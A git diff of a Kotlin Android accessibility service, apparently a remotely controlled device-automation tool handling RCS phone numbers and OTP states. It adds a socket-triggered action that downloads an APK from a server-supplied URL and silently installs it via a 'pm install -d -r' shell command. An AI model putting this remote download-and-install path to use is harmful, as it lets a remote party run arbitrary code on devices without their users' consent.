|
|
@@ -66,8 +66,10 @@ import com.example.modifier.http.api.RcsNumberApi
|
|
|
import com.example.modifier.http.api.SysConfigApi
|
|
|
import com.example.modifier.http.request.RcsNumberRequest
|
|
|
import com.example.modifier.http.response.DeviceResponse
|
|
|
+import com.example.modifier.http.response.ErrorResponse
|
|
|
import com.example.modifier.http.response.RcsNumberResponse
|
|
|
import com.example.modifier.http.response.SysConfigResponse
|
|
|
+import com.example.modifier.model.InstallApkAction
|
|
|
import com.example.modifier.model.SocketCallback
|
|
|
import com.example.modifier.model.TaskAction
|
|
|
import com.example.modifier.model.TaskExecutionResult
|
|
|
@@ -75,12 +77,22 @@ import com.example.modifier.model.TelephonyConfig
|
|
|
import com.example.modifier.serializer.Json
|
|
|
import com.example.modifier.shellRun
|
|
|
import com.google.android.material.color.DynamicColors
|
|
|
+import io.ktor.client.HttpClient
|
|
|
import io.ktor.client.call.body
|
|
|
+import io.ktor.client.engine.okhttp.OkHttp
|
|
|
+import io.ktor.client.plugins.ClientRequestException
|
|
|
+import io.ktor.client.plugins.HttpResponseValidator
|
|
|
+import io.ktor.client.plugins.ServerResponseException
|
|
|
import io.ktor.client.plugins.resources.get
|
|
|
+import io.ktor.client.plugins.resources.post
|
|
|
import io.ktor.client.plugins.resources.put
|
|
|
+import io.ktor.client.request.prepareGet
|
|
|
import io.ktor.client.request.setBody
|
|
|
import io.ktor.http.ContentType
|
|
|
import io.ktor.http.contentType
|
|
|
+import io.ktor.utils.io.ByteReadChannel
|
|
|
+import io.ktor.utils.io.core.isEmpty
|
|
|
+import io.ktor.utils.io.core.readBytes
|
|
|
import io.socket.client.IO
|
|
|
import io.socket.client.Socket
|
|
|
import io.socket.emitter.Emitter
|
|
|
@@ -98,6 +110,7 @@ import org.apache.commons.collections4.queue.CircularFifoQueue
|
|
|
import org.apache.commons.lang3.RandomStringUtils
|
|
|
import org.json.JSONException
|
|
|
import org.json.JSONObject
|
|
|
+import java.io.File
|
|
|
import java.time.LocalDateTime
|
|
|
import java.time.temporal.ChronoUnit
|
|
|
import java.util.Optional
|
|
|
@@ -387,11 +400,75 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
|
|
|
CoroutineScope(Dispatchers.IO).launch {
|
|
|
runTask(taskAction)
|
|
|
}
|
|
|
+ } else if ("installApk" == action) {
|
|
|
+ val installApkAction = Json.decodeFromString<InstallApkAction>(json.toString())
|
|
|
+
|
|
|
+ CoroutineScope(Dispatchers.IO).launch {
|
|
|
+ installApk(installApkAction)
|
|
|
+ }
|
|
|
}
|
|
|
}
|
|
|
}
|
|
|
}
|
|
|
|
|
|
+ private suspend fun installApk(installApkAction: InstallApkAction) {
|
|
|
+ try {
|
|
|
+ val file = withContext(Dispatchers.IO) {
|
|
|
+ File.createTempFile("files", ".apk")
|
|
|
+ }
|
|
|
+
|
|
|
+ HttpClient(OkHttp) {
|
|
|
+ HttpResponseValidator {
|
|
|
+ validateResponse { response ->
|
|
|
+ if (response.status.value !in 200..299) {
|
|
|
+ throw ServerResponseException(
|
|
|
+ response,
|
|
|
+ "Error " + response.status.value.toString()
|
|
|
+ )
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }.prepareGet(installApkAction.data.apkUrl)
|
|
|
+ .execute { httpResponse ->
|
|
|
+ val channel: ByteReadChannel = httpResponse.body()
|
|
|
+ while (!channel.isClosedForRead) {
|
|
|
+ val packet = channel.readRemaining(DEFAULT_BUFFER_SIZE.toLong())
|
|
|
+ while (!packet.isEmpty) {
|
|
|
+ val bytes = packet.readBytes()
|
|
|
+ file.appendBytes(bytes)
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ Log.i(TAG, "Apk file saved to ${file.path}")
|
|
|
+ shellRun("pm install -d -r ${file.path}")
|
|
|
+ mSocket.emit(
|
|
|
+ "callback",
|
|
|
+ JSONObject(
|
|
|
+ Json.encodeToString(
|
|
|
+ SocketCallback<String>(
|
|
|
+ id = installApkAction.id,
|
|
|
+ status = 0,
|
|
|
+ )
|
|
|
+ )
|
|
|
+ )
|
|
|
+ )
|
|
|
+ } catch (e: Exception) {
|
|
|
+ Log.e("Modifier", "Failed to install apk", e)
|
|
|
+ mSocket.emit(
|
|
|
+ "callback",
|
|
|
+ JSONObject(
|
|
|
+ Json.encodeToString(
|
|
|
+ SocketCallback<String>(
|
|
|
+ id = installApkAction.id,
|
|
|
+ status = -1,
|
|
|
+ error = e.message
|
|
|
+ )
|
|
|
+ )
|
|
|
+ )
|
|
|
+ )
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
private suspend fun runTask(taskAction: TaskAction) {
|
|
|
if (checkingConnection.value!! || running.value!! || preparing.value!! || requesting.value!!) {
|
|
|
mSocket.emit(
|
|
|
@@ -1253,6 +1330,18 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
|
|
|
Log.e(TAG, "RCS not entered waiting for OTP state, retrying...")
|
|
|
continue
|
|
|
}
|
|
|
+
|
|
|
+ launch {
|
|
|
+ KtorClient.post(
|
|
|
+ RcsNumberApi.Id.OtpState(
|
|
|
+ RcsNumberApi.Id(
|
|
|
+ RcsNumberApi(),
|
|
|
+ rcsNumber.id
|
|
|
+ )
|
|
|
+ )
|
|
|
+ )
|
|
|
+ }
|
|
|
+
|
|
|
if (rcsNumber.expiryTime.isBefore(LocalDateTime.now())) {
|
|
|
Log.e(TAG, "RCS number expired, retrying...")
|
|
|
continue
|
|
|
@@ -1321,6 +1410,16 @@ class ModifierService : AccessibilityService(), Emitter.Listener {
|
|
|
Log.e(TAG, "RCS not configured, retrying...")
|
|
|
continue
|
|
|
} else {
|
|
|
+ launch {
|
|
|
+ KtorClient.post(
|
|
|
+ RcsNumberApi.Id.Configured(
|
|
|
+ RcsNumberApi.Id(
|
|
|
+ RcsNumberApi(),
|
|
|
+ rcsNumber.id
|
|
|
+ )
|
|
|
+ )
|
|
|
+ )
|
|
|
+ }
|
|
|
requestSuccess = true
|
|
|
break
|
|
|
}
|